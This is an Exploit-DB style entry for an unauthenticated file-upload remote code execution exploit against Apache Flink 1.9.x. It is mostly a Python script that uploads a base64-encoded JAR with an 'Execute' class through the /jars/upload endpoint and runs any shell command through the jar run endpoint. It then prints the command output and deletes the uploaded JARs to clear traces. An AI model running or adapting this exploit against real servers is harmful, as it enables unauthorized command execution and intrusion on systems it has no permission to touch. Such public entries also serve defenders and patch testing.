Apache Flink 1.9.x – File Upload RCE (Unauthenticated)

  • 作者: bigger.wing
    日期: 2020-11-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48978/
  • #!/usr/bin/env python3
    # _*_ coding: utf-8 _*_
    
    # Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)
    # Google Dork: None
    # Date: 2020.11.01
    # Exploit Author: bigger.wing
    # Vendor Homepage: https://flink.apache.org/
    # Software Link: https://flink.apache.org/downloads.html
    # Version: 1.9.x
    # Tested on: Centos7.x, 1.9.1
    # CVE: None
    
    import io
    import re
    import sys
    import base64
    import requests
    
    
    class FlinkRCECheck:
    
    def __init__(self, url):
    self.url = url
    self.timeout = 10
    self.upload_file = 'rce_check_from_sec.jar'
    self.headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '
    'Chrome/61.0 Safari/537.36'
    }
    
    @property
    def get_version(self):
    url = '%s/%s' % (self.url, 'config')
    try:
    res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)
    version = res.json().get('flink-version')
    except:
    version = 'unknown'
    return version
    
    @property
    def jar_check(self):
    url = '%s/%s' % (self.url, 'jars')
    jar_list = []
    try:
    res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)
    if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):
    res = res.json()
    for file in res['files']:
    if file['id'].endswith(self.upload_file):
    jar_list.append(file['id'])
    except Exception as e:
    pass
    
    return jar_list
    
    @property
    def jar_upload(self):
    url = '%s/%s' % (self.url, 'jars/upload')
    jar_content = base64.b64decode('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'
     'AAAAAAMAAwC4AAAArgQAAAAA')
    files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}
    
    try:
    res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)
    file_id = res.json()['filename'].split('/')[-1]
    return file_id
    except Exception as e:
    res = False
    return res
    
    @property
    # delete history jar packages
    def jar_delete(self):
    for jar_name in self.jar_check:
    url = '%s//jars/%s' % (self.url, jar_name)
    try:
    requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)
    except:
    pass
    return
    
    def rce(self, command):
    jar_file = self.jar_upload
    try:
    execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)
    res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)
    res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]
    if res:
    print('rce command "%s" exec result: %s' % (command, res))
    state = 1
    msg = '%s rce success' % self.url
    else:
    state = 0
    msg = '%s rce failed' % self.url
    except:
    state = 0
    msg = '%s rce failed' % self.url
    
    delete = self.jar_delete
    
    return {'state': state, 'version': self.get_version, 'msg': msg}
    
    
    if __name__ == '__main__':
    usage = 'python3 script.py ip port command'
    if len(sys.argv) != 4:
    print('simple usage: %s' % usage)
    else:
    ip = sys.argv[1]
    port = sys.argv[2]
    command = sys.argv[3]
    url = 'http://%s:%s' % (ip, port)
    res = FlinkRCECheck(url=url).rce(command=command)
    print(res)